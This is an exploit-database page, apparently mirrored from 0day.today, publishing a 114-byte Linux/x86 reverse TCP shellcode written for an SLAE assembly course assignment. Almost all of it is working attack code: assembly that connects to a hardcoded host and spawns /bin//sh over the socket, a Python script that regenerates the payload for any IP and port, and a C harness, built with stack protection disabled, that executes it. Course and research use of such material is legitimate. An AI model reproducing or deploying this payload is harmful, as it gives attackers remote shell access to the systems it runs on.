Lucene search
K

Linux/x86 Reverse TCP Shellcode (114 bytes)

🗓️ 01 Jan 2021 00:00:00Reported by Stylianos VoukatasType 
zdt
 zdt
🔗 0day.today👁 31 Views

Linux/x86 Reverse TCP Shellcod

Code
; Title: Linux/x86 - Reverse TCP Shellcode ( 114 bytes )
; Author:   Stylianos Voukatas
; Website:  https://vostdev.wordpress.com/
; Date:   2020-12-30
; Tested on: Linux ubuntu 5.4.0-42-generic #46~18.04.1-Ubuntu x86_64
; 
; Purpose:  Assignment 2 for SLAE
; SLAE:     http://securitytube-training.com/onlinecourses/securitytube-linux-assembly-expert/

; Student ID: PA-27669
;
; Shellcode-length: 114

;-------------------------------------- ASM --------------------------------------

global _start      

section .text
_start:

  ; set registers  to zero
  xor eax, eax
  xor ebx, ebx
  xor ecx, ecx
  xor edx, edx
  
  ;socket section
  mov ax, 0x167  ; set num for socket interrupt
  mov bl, 0x02  ; set domain IPv4 Protocol, try also 0x00 for both v4 and v6, also one less instruction
  mov cl, 0x01  ; set type
  ; edx is zero    ; set protocol, leave it 0 so it will select on its own based on the type

  int 0x80  ; interrupt for socket()


  ; eax will hold our file descriptor (fd)
  mov esi, eax  ; store fd  

; connect section
  
    ; construct the struct sockaddr_in

  ; prepare eax for ip addr XOR, set a mask
  mov eax, 0xffffffff
  push edx  ; padding 4 bytes
  push edx  ; padding 4 bytes

  ; address 192.168.1.12 is in little endian 0xc01a8c0
  ; we XOR the address using a mask of 0xffffffff and we get 0xf3fe573f
  ; in order to restore the initial value we need to XOR again with the mask
  ; this is done to avoid null characters in case our ip addr contain 0
  xor eax, 0xf3fe573f 
  push eax  ; address field, set to 192.168.1.12, in little endian format 


  ; same convertion for the port number
  
  mov eax, 0xffffffff
  xor ax, 0xc6fa  ; port number 1337 after mask applied in little endian
  push ax
  push word 0x02  ; address family

  mov ecx, esp  ; save the struct address in stack

  mov dl, 0x10  ; size of struct, 16 bytes (padding + address + port + family)

  mov ebx, esi  ; set fd

  xor eax, eax
  mov ax, 0x016a  ; set num for bind interrupt

  int 0x80

  ; check if connect succeed

  test eax, eax  ; if not zero then an error occured
  jnz exit  


  ; dup2 section
  xor ecx, ecx
  mov cl, 0x3  ; prepare for loop
  xor eax, eax


dup_loop:
      ; ebx has the fd from the previous call
      ; duplicate fd for stdin, stdout, stderr
  mov al, 0x3f
  
  dec cl
  int 0x80
  
  jnz dup_loop


  ; execve section

  xor eax, eax
  
  push eax  ; push \0 in stack

  ; /bin//sh  
  push 0x68732f2f
  push 0x6e69622f

  mov ebx, esp

  push eax  ; push 0 in stack
  mov edx, esp

  push ebp  ; push the address of /bin//sh in stack

  mov ecx, esp  ; put the address of args in ecx


  mov al, 0xb
  int 0x80


exit:

  xor eax, eax
  xor ebx, ebx
  mov al, 0x01
  mov bl, 0x07  ; just a random number as an exit code :)
  
  int 0x80

;-------------------------------------- ASM --------------------------------------

Script to automaticaly produce the shellcode, set ip and port

;-------------------------------------- Python -----------------------------------
#!/usr/bin/python

from operator import xor


# set ip and port
ip = "192.168.1.12"
#port = "31337"
#ip = '127.0.0.1'
port = '8888'


ip_in_xored_bytes = ''
port_in_xored_bytes = ''


shell_code_1 = "\\x31\\xc0\\x31\\xdb\\x31\\xc9\\x31\\xd2\\x66\\xb8\\x67\\x01\\xb3\\x02\\xb1\\x01\\xcd\\x80\\x89\\xc6\\xb8\\xff\\xff\\xff\\xff\\x52\\x52\\x35"

#ip

shell_code_2 = "\\x50\\xb8\\xff\\xff\\xff\\xff\\x66\\x35"

#port

shell_code_3 = "\\x66\\x50\\x66\\x6a\\x02\\x89\\xe1\\xb2\\x10\\x89\\xf3\\x31\\xc0\\x66\\xb8\\x6a\\x01\\xcd\\x80\\x85\\xc0\\x75\\x27\\x31\\xc9\\xb1\\x03\\x31\\xc0\\xb0\\x3f\\xfe\\xc9\\xcd\\x80\\x75\\xf8\\x31\\xc0\\x50\\x68\\x2f\\x2f\\x73\\x68\\x68\\x2f\\x62\\x69\\x6e\\x89\\xe3\\x50\\x89\\xe2\\x55\\x89\\xe1\\xb0\\x0b\\xcd\\x80\\x31\\xc0\\x31\\xdb\\xb0\\x01\\xb3\\x07\\xcd\\x80"

for byte in ip.split("."):
        ip_in_xored_bytes += "\\x" + "{:x}".format(xor(int(byte),0xff))


port_in_xored_bytes += "{:04x}".format(xor(int(port),0xffff))
port_xored_formated = "\\x" + port_in_xored_bytes[:2] + "\\x" + port_in_xored_bytes[2:]

print "ip:", ip
print "xored ip: ", ip_in_xored_bytes
print "port:", port
print "xored port: ", port_xored_formated
print ""
shell_code = shell_code_1 + ip_in_xored_bytes + shell_code_2 + port_xored_formated + shell_code_3
print "ShellCode:"
print shell_code

;-------------------------------------- Python ------------------------------------

C program to test the payload
gcc shellcode.c -o shellcode -fno-stack-protector -z execstack -m32

;-------------------------------------- Paylod test -------------------------------
#include<stdio.h>
#include<string.h>

unsigned char code[] = \
"\x31\xc0\x31\xdb\x31\xc9\x31\xd2\x66\xb8\x67\x01\xb3\x02\xb1\x01\xcd\x80\x89\xc6\xb8\xff\xff\xff\xff\x52\x52\x35\x3f\x57\xfe\xf3\x50\xb8\xff\xff\xff\xff\x66\x35\xdd\x47\x66\x50\x66\x6a\x02\x89\xe1\xb2\x10\x89\xf3\x31\xc0\x66\xb8\x6a\x01\xcd\x80\x85\xc0\x75\x27\x31\xc9\xb1\x03\x31\xc0\xb0\x3f\xfe\xc9\xcd\x80\x75\xf8\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x55\x89\xe1\xb0\x0b\xcd\x80\x31\xc0\x31\xdb\xb0\x01\xb3\x07\xcd\x80";
main()
{

  printf("Shellcode Length:  %d\n", strlen(code));

  int (*ret)() = (int(*)())code;

  ret();

}

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation